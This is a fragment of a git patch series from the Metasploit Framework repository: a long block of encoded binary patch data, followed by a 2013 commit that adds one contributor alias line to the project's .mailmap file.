zkS8-^xCs#?YSyl(;uiJ9xAD@Cz6<2><UeRZewo#rThW3%nsvYZy5_jE%FktMeH09y ze6}A~<HzC2PijuWGymY0gcm)_Y{5oP#0;Dv@X-9+rT+@5Ka;xz1%~ezM&xq}xRs5_ zxjD9k;Fd5m8YOWh6p@Ns(=h%Wbj7MGOY={!DmP|Q`a&B?^MmgYZ(!YuN0UlR9J zC^<4WmfIXkuFdU*i`+KzW;HpQLRo}$^Wp_|ri6SnFC|euSg?{(gc~8~V{2Uol=F-q zafzQjm^_@<$$c-a&gkl2MPCQXZ*vcXR^KM`-)v_G+F*#(DUg<7o2dc9d7&=A-J!J# zU#*6}N^9TvYWMlCQ4`)S$C9n{^}~#)I-GOCD4p+&GE9qR6ff<3Er9o%YKo8Kg$oWL z|GhOxkcYCVo3esv7R0qJL4$uj-=j!FRo$gWPF12m=6eQ_#S5A{z5_wsZW90zD#zGe zV!q}ci}M~Fvk$$Jap3EMXa)xV2hdo{_IQ7zAIWDmrCA8ocsg$q#t9Or`7`&(odwB3 z0fHEUvqh1Zg>hl!1OG?haFVvLljbcn_yyjD;)??NQvFx|x99$Wq<CS+VCD0!y#|uI z3&Y#9|4Z8+DF5d|NzSh!F!gf%Kq6bzuFG+I{n+23NXM>!ueP*mHJr__uw1la`Tgp~ zZe5c%vWmZ8C+{qJ!tp`mt?b#{RxxS3IF-BFpY&U-4&KneehGK>Cu<hBiX09MK5@9> z=L5e7ll%O({^a!HSgxQk`D3veAJ!zf<2tSzK!u?f)&uCJg7YtkO+RT!=jYb9sPk>- zfp82Uv)y`bS3mNJ+Zf!bU;Tu-^&=16ncP=NWXh6gZf_D<g~z%ivVBRkd3KV|GqZwm zGZU~K%X=H|9~tMyaGJmjd8xIKw&Es;ac&Y?wS-+7#Uc}08l_|FC>v2er68)*IkyXB zzayphy_%p+hiFqPXQ|NiWg?ljG|9NFjzSQkyndK{0@3SrtpaO&0K!yGa~=?yCMS}w zmqu#sFHx-b4SrOhP`}i));D;G&=ge^vur7w;_NLfC@&KHng1MB=WUUYywvhWTDv1O zUE<&GO}@;r3~2%!B3Ip&o3~f}@`ed5FTRZT8_k!X!D2rETk4}V{7xW_&>`td5o98b z$f)HV#=ZgU3!L50Ij<L5UgV7A(RcdljVAD}lm8u5pUWRjYjyIwdyzZKyY;x!^QBR) zpz4n>)k4b)qvTWt2{GnlH2BBx$^Wn?nVs8?JMfgepPR%Dc}h;>ajYk)%5BxZ$#aGY z^$h)2kbar3^r+`2WQ83-=Mx%-pHI-}q;D+gskbRfe_f$^11NuF*oq>&^Z5r4LJmFh zIYXa9clRL2UXLDcdEPOtu4CN`ys$bAHhkWh4mk`}=Rec}Aj~xzD)*=X(5rkanuJqX zRbA>jvL`XE=+Jf_$oxt?jp9oJ3MV8;#V@pxH&#T2eL-1L{#4RSc_XWNvyB{Gk;F}Z zOm3{`><&OXZq{H3y)u(?cu{5;eUIW#l_Lc1(#jaG){pt2I~*dYu6?M`9yGcx>pz56 zzvjL|Q4q}k4)u^&ieP>|97gC1uZuuXCJqx!Nzh`Mt(KuQrQOMgE7dk10}SQ+fUy(E zecw=Zuj5?z5elX(*v->!_3KO-*6@A0lh%2iS&j_IQ*j#}k=(pCTx~b9C$Cl4exUWM za2$$06$)nKldjdvysG&rK-BB8hX1oG30f6D_;%O&2|q*8zY@L!mv95l7X$s0F*l%$ zsLMk}dI#`22wr%(KDR4bwyJ&C$pT|xA6rt-*mr*N321nkZ#ADs`S|%_?v2P_s}h15 z2y9@qxML-)Jdtg`=>jS7762lNrM^9!Cbv<vbATUliEm6sdKLy-LF?Di;4b8rCo%k4 zsxX<t5T7|!BjLG{N@7;0^!W-cupxQ`tXr|eK>3Z~g3$UrBN*tL!%82!&B*Bl3jn+C zQ_1?(vZ-nR%P#dfyCKin)!(`JeZ3KyJeP#;`6yfXQ5BRi7+B|4U%i^|L2KK5wfnp- zmB{n$+=Y82C*R_BSaAxO8|3^L&1rlup(b^17itEf7UtX`)KX9jDef6zckUGG(Y|`L z-MLGs2choisiM~%b7i73yK_$nz0*me=(&l?66~|0N3ZF7M$PHyaPEdi)A&hNlKMvH z?%OTGn{(kLa};G*mG7!)?LX{`S51B`P67#*^F=Klw2-1V+V(aJonKm%_CWa;#p+{C z)3g^1|FQXhxb?7*gf)qp3bgpU-a-*l)n|CV<^14(yH=S=_L_uFbDwuz{hzLf!Vu+n zPm}t%U^J7j*TlAY;|Ys%7AG93gp&ln=miWePjLg_dP2h1Zc}YSa*u--P6Bo(J<g=B z99hZ#WTGO*LUECGd#4sC>XZ_`pNUkhjpn>Y(r8_~*1aDi`r^wV3`1{Z4gRX{h{1Ot zgVveYNU~;~myIE7-fYKh3MGf%jBc?Q2L~Jo&`}t<DIJ+VY9N2Uc_D0LQ!0|Lp_$Nd zSx+iRH`YwT)_24g(_Pnh<ZemH%=O{!ui<uZojUR`kkd0pBfZa~giFS0RakjA7p{`W z)1oK4$}{r%i<eff=<1zy42pDhMtM%Xc;kZX@g5(BHs6hBfUCi%%5G`irqIVP7%MH! zg?H%^{)V13-_SbfH*KA=YP6)whG=f5wrKQ*a2D@uv)<~%@fvdCt<Ig>YU*vmgyKu1 z9*UqVYrwUUKjPm}lhy@olv*V8{*~o@>zMQc#<$kZD8_$B#otwvc?HY3KQ*MbU^aIv zh|Js=hA)y|-`Kw6L{*)X*(lNB>p$8#B&EYI#7iIl@Eyptjd8NYck4&5_Kh{=1&mLg zVZh)LSAuW9)uhwg3sk!s)8(vwZeeF^e>41TB^{EQSVWzP^#BSXGmRgqB=X5&xUsnV zc58Q_fEA)}w9p3$g)c7<_N_|_|C(eDMHG|JFMO~303(=_;yi|d)A=$Gc;~2`#~V`< z>kSs(IVR^9Ld_`DBKR-R!+)WX&cB5Y5W~UmK_Q2%c_%*7ff6qGgu9?=ECQg9^#=-a z?wwBUz4H1KS!RWwbEO|gKM^_VJknSqNJ8S@{XEe(3wlQ$Fv^pCvu^fD=;7Zm407Uq z*T5ZD5aT9mYwj-yo}YUSpE1xY0s2uf|JR>5?qvt1^D|`R?M*Fv70I9l{JbLPDZ3~j z=jnvSB9~&g^Ms&)0<<|#()rSF$s%d(6m6g{gcj0Tsjuxm|8HkfyJ?WM0ln)<b6$+B z`-U0!+W){3J=ryo<C3tDgLmOYspfln=*%gV2_Gaj$f%r!w~F7B{P+4uCZWl}zx_S= z<-N9Tns%<AS{oE$Y4FBy2OlpG4HEvkz9%W~=PIAxV1@7AJw3!!+%nsJx>Ed2AG+El z5{_0!8#AeR^+~@awsj&m-@nQRk`o_fuo}{`a0YiYh2$5SS`N5Q1HNF=C&dgtC9VJ7 zHj&&c9L-(qKx~`ib^AKh3wIht!3+O$+nNnLHi;m-tg72;`=pQ$Hunuq5jqRT*`))$ zq2?a9C(<oF6H40G`PL68)iD)v8(+L%)1EBY(m7!oTK)S%j-Rm3ynS@$_T>DQ=&&!) z=vC{g@P)Eh-B%nS<(K_IYPUoOdE3=92qTGG@3fuvJIidQ6f~nK$qcshHCLgCJhdG- zd}1ds;YCEfO%}c-`F|!hy&YMwt#9x^wD{$EEt!0`tu43g7OCB~y4A+NvF5^O-I<Ya zK>VDAzFbYIq0ZHkeE6Z>y^X=t{TW58w)8EIE5&mu-?lQ{o|j#lmwi1iyBfa)z~bRL zG%uUa%dX1HUd~Uv2_I~fk(YfySrV5^??zqtr2o*pT^aeuCZKk27ySmt*`Ys^3c>hh z;7sF3Nl5OG@JLVgbyrHh?SPAM+k5iSlvi@Tj|+CCAk>8)BE;e2FyE&%gE7IJ(q!8I z724lcg)gMSSK~_v{5S)jgV>!3{l$LT-T{;r4JGt4xC6-P2ZheWdV=ISg3{a)cgXUm z(10*pyZ&@s`sL2=g1ERG2+6&MRt$&RMau0$9c}x1+QZLjKdqxZL}|AQv={Bp`1+CG zcut#3TXRRap(}jpd%(`$6l0+Ld8pHakf4k_+v@yWs?9vxMo;bxp|H)9y9foBcvzlo zyC*jj<w1G2efhTKK5eJv4Ow1hTbT^imD$!xFiM$iecS$0Ca>S7GFxF1WGS=lZi5Fu zFo|K@F!r4668dY4tP);+nQpi?=!M=|C(v5XF*+`TZ$&<%1-=PI)~_w%t_fU(i<FS% zDF}A>aRa^9_r=LH{^vw$nL>Vd4@K%)_1jiX)!;OexFgP%j~3rfEx}HGyDyfEn#XSB zJ%9Wv*oN&A%2!Z!Qk!t_N6;hBR+?`s@vXdr|C6lR5$isWEDD~KXFG~1{Nki5>fl8n zrgw0=f&0=)SI)uzo#4am1FqQFS-@QZF1O@!dz4rjVk@V2Kf=;E^7<X%M+>tI!*x*} zjcE`LxB3_i-_=&v?FmN`+`{OHuY<f<mz;DB()o|T6&HDUjp3xrkk03V72Yl&@p01C zNaqg-6nNuM?WF6H&TkbEyi*3T()kCdA+`3UbMu4>ZZ>d1h&9RLz2O(}1}kqQuOE3R zQ-f7J#B1PU8Tye&>6#wplYO-+TC3utXwAO_u4t!pxmb$x)0Lf$m_M+qVlw!$2J+LN zbR3M!#@82Aa0mYp8L(?&^Y#Ks89%m`Wlp*99*FjiB<FWcWKR&)ZVS7I%-*dGoh58E zG=~dD%&B$oW^!n^r7hh*d|w3n(SJe~EEbjK>?v1@vpNUt%1Ns|y+ih2WSP94VcxmX zt}ghHo@DLm&kiA_dv>!o$;?lpxs9ia)_n3U(#N84MZDPk)>+7oPoq+x3ePG245HpC zkN527jPx78RlpyBCjjYTM%oTw155zC4%h|w4)6?+a)gnN1gry;1Ms6MsTJS`oCHXY zG17s6_W)G@<8hQ<#h+b({eYu@vw+KhDggHdBW(#V07d|o0(Jl{0=N<eAFndfiGcS3 zmjK}>80iqeM!?U2wkH|sY{1Erq|@iOVtze`{bDHHFG><|ae^OG*4Q^sKwX5N1C|o` z;bxuoQ4)%B<dg(Cov>y*zX>>(bd*a>f6Z7&pO<x?&mpr8D?1IS>jFCiW0%-DL+GZh z!@I;eCCN@YuAPr3-yNoJ6eLF;u#d>IBOTeZMJY!oaO?!K?zk+v_gO|-8Ho?BAD5#b zMZrT0^b_nhMc0mR5_4~#B@0iDj%$C8k(Q-OYQAQqz6^0`748%f6t5y@!JEES<msuX z7QX~j)EGn-ds*&EJV3(mk4Z|YOxY`p1{ZAdegZx)in<ogDU=>R^0M=<Hm&PUe_{|A zMb?xyXQz{oO4|mnXo9AEN;#09T=Y|EEXx)aJw2Vnv1f?8Je56KR8k(nve8AC&(35A zfA}-Bx(N!vZ;_Hv&e&RrN@c)i`fxSL?^iw0&gXvai&o`!0i9FQ#LmwI&a2)CDgozJ zuSYSbL}TaE$@^bUWUmx8I3L8ue0>1kA&}t<r^l#dY^8)qR>JK3X(Ibd#d^rAUpd$l zMMuBt&XGgkhZF@?EM;SsT%l?drwR{A>Q!0`Dimtc!mC9eeUmE=slE<ukDwXCL&_8x ze!w+*-<zc9Qbu^Yn~e0q4HzSy6hZ*eB<^wnYbyHuayL=){eLjhS|Ihe7-<op|L=_S z@$W^U*HW6K$nFV)7YYxF^noz=5}_uo5Ncr+_bD=><bIK>az^7`OP*3u#IaB4LsB6; zg2p_iH7QmAkFb3VeMB%`ij0=l&_`^^L;6T8`IkPD*Rn<NkIW6&Ff!)f%;sAqtaLBn z2%rq`9pD#9(Vc(G8%k3f1J_e5Ye*lGed6Mif$YZt+`bkClY`j=ZcIe++F*8lK+1Lc zUiOXE*m@9>mduwhnavzfYe^J~FBb6*FsD=uD@_AxMs%?qALRy$W8+w9fjo+hZ7fY- zrS#QhjytvB(@?f~07k5iDR?)EHL$YcAEH=3Ae^p&r+;#9u+Mocp4-}+n18cl!FRE& zO;Xd5mF6t&%NA^oW1|WTacrYVX$L`Udpkel8c|j!FilM^7#YWom-w5Rg7P?a`SaS~ zc(#XZU$U={hsHx`D?cRRNnr$FE8rTSGsd0NvG`m(+ey+;u#s-!CF%mU1N&yvl1{Aj zOg9O8doxWT0%vq8*w%qfWMu_sJFsz0*2;aYmHo;BD`W*V9oQr`wm2q*J;mwQo?)f8 zUx%BPH5fyS3x(o!TAYER8Sm4WklbVe8(Rh}eryHWwPgiSo!Qug!V5rk6i^lCP>lB# z%TdG|R}fZL6pZZ5wo72H0fm$RDCu<+u{qJ=MHIgjieoAZc2JJ?XF$C#psxRpBJs8U zjp9n7SY1<4)tOD@_JtI5lCc_HNmow#1;%1-<0C=vEK#D45_7wnDx<-Yww(0#4WTG& zj^ZVuxHhU_lZ=gym(2y^y#lIwGK$-L#px)%?dwzUlZ;J{tbT`;Ryv`i)p(A<ycXd( z6f-DjDQCNcGJ8>Ng29XNYykayTs%$AnmDdPSG-%vHe$I7ZNVWG+k-3AA5^n{v<R%Q zv(m#Q0}B4?%ccaz+F0r5CA|yc`mxPJnODFgIp>R&7@vU|UGGuQyB})}T+$ak_PtWP zrXRZ(zE^A=z`h#NdC6FGUHd944e5R&ucx>&Hs|<II{QN<<I%8WVtqp(SXGQH{%#ce zJ}W7l1dC0TNLS1s!xqmU!)<Hc;;`eHx9-0D6IvFIUZn-9xtzDfwjs~Fby?y@S{9PT zPm24@<90Q1I0+~9UVl_3!nj%CCvI~&zlm}lOJ=pd_n|j&18rUFDLYJCb8d@g1?5~9 ziORi+xr^RJx5WH;v>ne{RM)P?pF@DFZ*m2{#0Rtyp?85KAs~Tsl7hEaaM6jBU4Cz7 zG#-5c-2o<m3XlRw1Vk5HUcvPaqm&*mWxoWl8c;|IG%L9YCh-Q^^5`-~J+NM2S0~?N zpL`vtd=fN)f)cNdK-mPCu)g4jm0W99T<~xu*A9=^JWifONg&f95R?GQ0TqBtfa?Gr z@N|8_oII{qm~ZGXbchC|08%#;f1AgJ#BlS9if??({o8;|F8=isE-=)sIL=A?pX8+E z40xX7q<fEX(&7`GwDvS7m7^YkdTZ1tp#IKTO!FuwU0K3OzbfUV9O}1^aMHV9a8eEG zlgl~jAk>GU{=q3uda;a?9y!cOPhkuR>SojvQ8%GJ6JvgKhAW<Ug3Atwe3<dC7w>no zZ{|E>vy$;mVqzM;U6AlU7yo;PixY8kyB5cu<F1HDtm-3@Zr%7yEG-Mzgukvd5lV$9 zJr+vaP#QRx;<lr75v8rWQ78-8hrhefw=CcQN=*flLntj2x*bJn+~DH$3*2Eb*JWsN zvy0rHf!qgE3%ILXTl(y9m3t4*;&WHIGi<|M_c)|!Ir*2~njnfQF8Y}})G+31CFXk@ z^Sr}JhXaZMr2r}LgQ|-2cy5=JJIEGm9&;X!8xvT3>M4gGGQ<|Y#)_J=+?n9w#heH~ zq}p3pygy!ahvRrz!TU*~@m#g6K-5OG4A0^fZA4)#?fYI^(Hl)^p`%_ji{p0oDBf%o zIg+_Q<`q94FZ!fmOz2FJ)Hq!voen4hgv=00qXFXpD`ys;o+^rI$KBXneCsXI@kTM( z+eFf~TSU^~fPH|Ft)K?X1#H<?d}6ccegjeRXQG0d*STozXQKbx)l3IO)Rc9!9nYhv zuI-CI^8lL;h<vU_xlmUV*u4W^O9DB}x-}j_05PBz9qt3F05<_w(fP^>*frWbUdlfe z&=)WU+_co$4$>CE*D_HAzyHhE%FzRYm4agJC6sFci3ddmKf>8KJZn~R$?U;`Uw4XR zZ731g%)?^|U?uGX*a#>DYzG`cm$`7aP?SC1i}-sLPz7K<UbjmmtPeRVQbcj5`Qox4 zM8_L+YWN$J4EPN2JD}$ck@Otk2B61Hku({w5|9lTbhEhVny6nWso+WuR*R}d@vDD? zS>5NP;wPMRpbf+L|5b}c(l^U6w;zi`?~C4P-gN0DMj8sp18fH*6d!9O?i}B$!DpN_ zTMH`~J0W)Llqu84kIkGk9Ur%5;+(}5H0&tu%qA4;JBpPd4W4Nrg|>K>Njys1WL^=+ zj0qGmvB4q+=J@k$adSueQ;f6|fXaZ>+M8L-Naq3S>f|6JEdbQjM|e2t7(iY9<SI^j z22fX@vzn7GSY6O3Qyjyk6#AacH~XINZ1p|2Z}UATZ5N)6EIWPucONJS%@TKtS$Du! zUsO$BxccOx&mh2inu1YT;wX;!hW3qWu<=_?y8qjPcd{_v_#Xv+Y=eT!S>o2x_^UoP zv}@HBPFi5k6i2Y?g19;2*4&=Q0&Vipe|<#sTtNvd{Li}j<!8S3f-za*h$i22B57UA zubd!B6C0MT4mVgV;8=aZT@1pq1x@D)4>=xPhD&{GT}S-iq0UFV++O}4Q8WeXz^0qK z)yri6Ws@KCa{Kld*c7W^s47vxE1BX}l72cLp)fVcv2M?6VS%^1!>_vg35)$kN(sYy zp6el!ehr}7s+-Eu7sjCYf?hAT|5wJveGm$=#H~8j4tbgIzjIDo;cKT%b6*#fEBYkY z*O|-9D;PFk93wis&W8{^Dey}?=d7=rFf~?LaCyGCwdAj_o+HB=Y<eP+9(qz7wLsh_ zlKwAB#S@9RDa+aN3Kpyvf5Z(sP_R}W@K(X04dOzs(LrCO`Yo}Td+MtcuPzWv)LfSe zp{YSEzMtLujjt?2`Md9Z<?bl={!u8ubpgGdrN!W@Vv7wG;!&Y(ChZeR|Nl^Y{5SD_ zvAY@~Q+Ncpj(EUcW~5C4aR51>3t%8%EMO*JDPSF7GvHIe3BWgiUjcUk>`&+qhy%z0 zT>t|CV*xV(O9ATun*pEx#I%&2K;av}uYkJ%7N^msfVeAkQXE$tbVnS$gB@DXjszIn zC8)nu2Wy^b2Ivm!%5>Ls8}#q#PwU^dFeUIutY@sUn{trSrCe3eVqbvK9i)<~!c-Be zXjQB#QI)JpQOQ&)l}=?+rK-BCda3%V?5e@4p{fz8F{%lwS*lH{BGnny*Q)PSzpDOF z-BmqO)v6k)rRqp^Yju*^q_(N;>M`o6>N)DA>Q(CZ)u+|JssC0#QHwQJ%>d0P&1;&4 znpK+hnoXK5nnRl7ZcUlyJI!Uy-<m{id#y}s(RSB9)^mo&hA_jYmQZV?m8oEuO~{wW z%cjUOWea3$WOrnoJXAhfzFdA;9-wHf2vbBWw2Hlo6N)p6uNA*2ZYnAj|0+0TBV|iv zoKmk$RSr=OQ;tz)DHkZ0DT#8k@`&=B@&{!DOw!#&)f00YtD2-*pmM8nRqv__RUfH7 z!7LA{zEu5yxvA7vwL?7|vs$6fS8q~pRX<j@)Ff#1n#r2knt7TPn9aMI{hAY+Gn(_7 zpESQ{e%IX9Jkqq&cGhaN8QO8$nc8e^j+SWO*6z^m)qbHpt^HnmMO&$Dt5djjsXDuE zq;7_8j&8s1knXsyRCi8Sq5DC1RrjmzFWtX7P9Llf)wj~e>pSWddb7T(zMp=Oex!b! zeyV<!K3l&`pRa!tYrI9jN55ZxOn*}UmHu1(HT`e;KlT6U|Aj7t4WWishIm6qgTi1o zbT#xd3^I%~j5AC%%rdyM4a*GqhBpoG8MYYq81@^E8BQ9$GJI>eX86tUr{N#NzXr}2 zYz#HFGR7M_8vB@Ln95BTOh1^enQodG^I<b{onca8R+Htk<n!el74Io_D?U}6Qj{xx zR9scuRlaCHH7XOP+g;a7*B6sspkJeZ<Tf$Y3=<6oi#55L)f%FCN3&V8UDL$W0`J@z z92isaH%bwwNLF-KXcT5ecf~7;L5d8;7{yk_7m5#bJ9MAvPUybUUDn;w-PMKZBlOYw zSbd^CS-;8xUlDl!qj;=flxwv+bYJTxSQc8|zy}OWEX$Y}Trsaxf2O{y4%a+0HZ=`3 zEjM{g?_y?w=GA6m{>gmP%$uvs)#m%=8gs3gv4|}a+F8aj%kj{`s=w3xrjfvSHQJHd zpR_;ey6NK#DF!XnJk+qjkZV|Lc-L^o@QvZB;SWPYW0<kEvAuDMahvggvDA3MZT!ht zV-%U1m?BMGO?^y*Ov6l@OxsMmO@qwC%;U_(=3C}wmWh@PmQ$9WEO#s&tWN7<YoYZa zJ_cb@Ss_EP$nI!XP;J>+CKiwO$_47Sx)j|o-Durh-3nbfw6oZdXk^B)Oa$6*>Te5n z(bVv%(S6AH#K_EGg<amDePUvk_{uKIaILQ#g*W6(p|AXowh>&?S8jwaGMMYW@*TXy zXR3YWC-_u=!50`bb2v-|#div{TwuVTRE}AM$3SHUoN<R+`I)j*xk2@wss!QWo{Cd{ zr@o?orcTnxHL04W+DNTQJ6=0oyI4Cwm#)j!?bIFAoz{H_TmMea7=jEf4NnasV>_e6 zIL<iJIM9?~azl5AOl78>=KWYS#?sXCyX7y7+-kP=w=#B)>5jp}W$Ci%vW2o$GWT$K zfqbjHNM0^~Pw}CGSKNo8{G|L%nWU1dx~f_rs*O`mQ@hnOHS;we!OKr-7+kwd0F&*8 zPYeeP-x+QiRK`)p$;K7NPmG6+Cyjp^y~akS5Yrgb6jP?@1BmmFshL@BwwY&}-#33@ z{@EOAiLtb`bh79y{oR(qmJG{yOQGdsO9QLXI?bAI{fw$?3CHZlBUz@C4VI0NEs_<= zK9@a^HJ7)S%jBu@o^qFby?j5!zA3*eZ>3NxjEbd-cNCiu11~DBD1w#o%7MxP<@?GV z%7e;dh<D9YtyMPFK-F|1$n8;`Q~j;#q;~7n8S3%s#p?Ie+tr8Ff2kX2v>Kbnp`Wi` z4F&gr{eEWn*$`t?83!A$7*os&b9eK2^D^_>=I!SF)<f1(>r*SUmSgB$NHbX)l$s|~ zE7BBG6tfiz6-yM$6)O=BepEbA)Izgjr9>H|lq$oN5z28&r*ev0IYXHVh2K&#sz8-* zGg7NYtJbMDVyh`sZBuPm?N;qm9Z)?}iPaKy5Vo52nqo~8eYn28UZvk)+;05B_^ok^ zsg31~l_}&HYJ1~lzsjPN234ubsNSgl1_8T+X07Ic#)QBds{2OoFitQQ8~-sTnA{yq z6HVD>W*;X6id03Max<bo-PvkYP1Lc}VoNw?C|wFuib-Zd2s4>Xsiy9xUZ%b#yJ;|D z#t5wS1d|i%Jp(H~&$P(21aV}gX|-vsX}xJ99J&xLz1OtLd<L;3+H%42h%Rvj{;v)< zcD6*U?^xMn*$1)%vg5LHSwneic`x~R`RDSl<-GhA#e7AKQm3>jXDSyew<vcii<C!| zSD~>=<y~b6Htr;B)qPciR3lZBRWntKRQakmRRz%79@TMZ;GF8B>ayyNDo))F+jCEK zU-c;UB$#xrdX4%+wfl^^uV%bvhGr3h@0*&fu<uKVXT0W~rn$DIwyicr`-(PS`?2<* z_LTO5_80A6+6USOx-ea9U0a<>XVFd2ZP0De?b2P))#?IZHA}D&?a((j7!9ego<0V< zVX$GCVU%Hl!HErLwqdRz+pyHI!r(EiGi)%}-Nre_rN*tshenOb40WzFy#bZI1BHEL z+G9FkI$}C$I%}#h{b>5d^oQwh(^He!+|V3ijx;BjmF8~dH1h~^J_7aI<`2vtns>qH zKR1_{%gkS!zc*h+@UB7(@S4SzMwT!*o!p|a^sw}|jJC|Mlv@T`nd@#}H0mmwgJ5u2 zc2f4W>_^#eGG5k5-a$TCK2bhbeh|xWNq%4cRL&|w6yb{YaJ8O_{)%+P48;P)cEu4z zBc(zaCM>{s)n4^Mb*grfR-)^ttJXczwZc}k9vZ38cQUuMtg&ve9<iRVUbp^kWvV%5 zyBl_}RK82O7pq!~yyOezDP@^*o@%jbmFg(g?uM#L)mYtJ9jjJg_2|moQh%XopdF=+ z(7l44uSS=OY`}xPzJZ~Ip^KrHVSvG5m<c7XFswJcj}XNgjfjpXO&3i~%q`7H(3;8I z!#vUaoB1EJ#NuvgQCrNGUQo$=%X-UumaUfEmQO7umNEp*NNbuk&$<b=Dq=Q4P>pPo zY_05y>~pzZF-qZ76k_&w6^)fv80R!)9uliPFwI|;|0)wynaHLJRYzcaw-DC<Rf*Is z)CmxOqxuu|Ikio*4EDBN!@9LGNRNVGP#tu=bso$oN}r^6=wH*XgCXtJAJCuBpTUN@ z#dy(p&lqYNZ~D;msp+VhikXY>^R1PUikL$XE=+b_c3rk#UM9aMZ=`6g&?^QiG7)?} zRvb_qSKLz6C|WBID32@4;XAd;VXDm#?n{;XA5{qQ*0JijNScoz8U04{rzTVztL=nr ztyCMW8=#w{%hjdm_4;A@8T#G&vwB{?#jx8@iVR6=Ofq&bjyFy>?lpdGWKGc~gJ~p0 zbeRsD?wJD22AHP@M){5TnptXT57RqmF(bVH;oH7rMa)pT{$a9dGP!&hJpQ2k3;A1$ zEsC!ctB|MWs@_m7P?xH|Qa@1l(u{y}KGrJWZaZ|rdaWT1Y1(bWc%$3+ow1{-o2egy zP__924J<MdlZd$Tk?a!~^i^3Gc|ZAS`7ekiKVWD0Q?W_83%hP>B>GyF+lK7diA`ZC zGT(cuH`QCzdvSnxsD7#r)HK6Run5`uZbXF!+FWSlnwHl#)HTulps&<F&_C6)hCqYM zFvIZ77;NeR_gxRi-3g~XgX}QS+{_$r?qJrz*ruBo!!<9#9r2pU5@d<CBtjp0OE<Tr zw`HhhoW*HbU|C^VYuRYoXE_1m`^s|Ba?SFag|}2&9$21QL{^EliM6@4r8Uml&f3YU zvYM=2tUav*tb?t?tmCW`ty8U8)&<rj)|J>niS=FNNFP~0u@+fBhr6Azp0{4KUbg-M z)mK^XTAx_)|81n=N`{6017yLnP+5d5R+c2|AX8$)wa9wNUXcxyWynU!Cg9jHQ#M!T zmMuqwcvDs&dr$VEY^Q9W?2zo3?3C<FS%vHe+0U{YvfHw|vPZH2d5}C(9*+&$E*~Xd zAb(4~Nq$v+3r3lOO}d+6m|`@dh8r98aYd=(Yd20SkFZ-e$9~-r=dxVodgZ&yv&yfP zzbpS%idBtNuOX^uV{!JXK2wcTPgGA)=cvoo7t}whdusY>hG@p(NVQh;77kQ<aP+vP zxubcA)1O!?)rM=Mw5_$t+S%H9+G6cd96QcwztdjQ-qLnO0zOGMTlbsJ{kr}wBvW7N ztMyF{5eBQFuVJ8Jv|*z4I8~8d#NbOI<}-PwB2_(Ey%IUXF?AV|vwoThnl+kNkWSyx zN%hPa5i<pJBW2@dj}dShAj8!gM;NCXXTv=6jl{UcxWo84HtN&HuVAj1jlUZIK%Vr# z_{?n#Fa?{Mo074m_Am`F4Ka;|`|L5DHvMc$Fssa?%sb2q%K+r;e_H~rT58=h;5K+n zPz+R_h6mFlXmfS6x>)mvu2T26?jC~fQ=L~Q(l12{<1)N%xMg^R#JeSqFIM9~xN8<t zwYQDCjK_>ujqbmUj49NVXhNR4L?mP}tz|@(B^N8YC=MykDbz}{^1Skal2b`=9(Ji{ zXg;ixtNW=l)f?2Cp$|qAij(aWc*;)AHO&o8r6x%`6(_#8w1;rkYpjb#BJR>H(rwml zhr<7Ycsulm%zv3R7Mo>)+mdCuZegs6*5Ot+wuLG>!?hx21RmkCIN7U6s4mO?mi0q) z*so{<8_}p!vBfmis1ZWxYFFc^IZEr)M(IxIzc<{#fi2V+Yg8EL8s9X|vur}LQDaF& zW;xbcOL-THm|l1U%VK1mWlLr5w~<y}fpsP*mZ{4$U2!&>rpwg5rQ4+IX1IYZw-TG~ zJ<}s>yk65S_^!s{Mic{weIlk154z@4<@4klkwu@vPT35*V{gR+q?;)!rON2PMVN_% z<TGq&B}hohRp(U|*cUFT;?>D+b&6VsBlbJUMM_{==hYSJi->ovH3Kz65%b2t(40{2 z3{9ryxTaK7jw5!3rcyUof7WmxAvV&SY#wfQn&+8w5oGV0<1O!6(yi;P+pJ89Z(o=z zi<7@A4_35M6exx&XDc@<*Qv5KM7s^kb6o2_rTqpuO*)R?<KYr-;0XR3jOd9j1V?Tw zwx6T=a{c!>PT#^7`#}FpA7}`{p(DYdMt;)^+09VHSVX{Ch9!oThQAE=4Lyy6jFVvD zzZicvRvE>nD3czCl6j^)A+h-gr-9E+Cy>xwGTkyYFiYKLtGT!NPeiy}>sssA)}QDa zRfzDJGtR!U2C^Voa|9-(tcz@bY@E!AouUx&{E*zL=%M%>u{=SUrreHr(E`dItXiRJ zsfpJVYFcRZx-Pog`h~~>!eROCj5-`PuNbAK6{a2LPt6(DN-I*(>mnwD9*1&e9@*Qn z?J|}875Nfesf<$3P@mSF#j)`l-S;?HU&B?zE!}P1pEzK9b;tBSKpPDV6Ahbac3dqI fGUqZ?1THaV7#1S4JBB+0NpZuE0v<)KlLh@hHv2KC From 4870df14e6a7bf49bc9f8973162f5c333893424f Mon Sep 17 00:00:00 2001 From: Tod Beardsley <tod_beardsley@rapid7.com> Date: Thu, 10 Oct 2013 10:00:19 -0500 Subject: [PATCH 68/68] Add another mailmap for joev. --- .mailmap | 1 + 1 file changed, 1 insertion(+) diff --git a/.mailmap b/.mailmap index 4a85ec1c7b..7b9839f967 100644 --- a/.mailmap +++ b/.mailmap @@ -7,6 +7,7 @@ hmoore-r7 <hmoore-r7@github> HD Moore <hdm@digitaloffense.net> jlee-r7 <jlee-r7@github> egypt <egypt@metasploit.com> # aka egypt jlee-r7 <jlee-r7@github> James Lee <egypt@metasploit.com> # aka egypt jlee-r7 <jlee-r7@github> James Lee <James_Lee@rapid7.com> +joev-r7 <joev-r7@github> joev <joev@metasploit.com> joev-r7 <joev-r7@github> Joe Vennix <Joe_Vennix@rapid7.com> jvazquez-r7 <jvazquez-r7@github> jvazquez-r7 <juan.vazquez@metasploit.com> limhoff-r7 <limhoff-r7@github> Luke Imhoff <luke_imhoff@rapid7.com>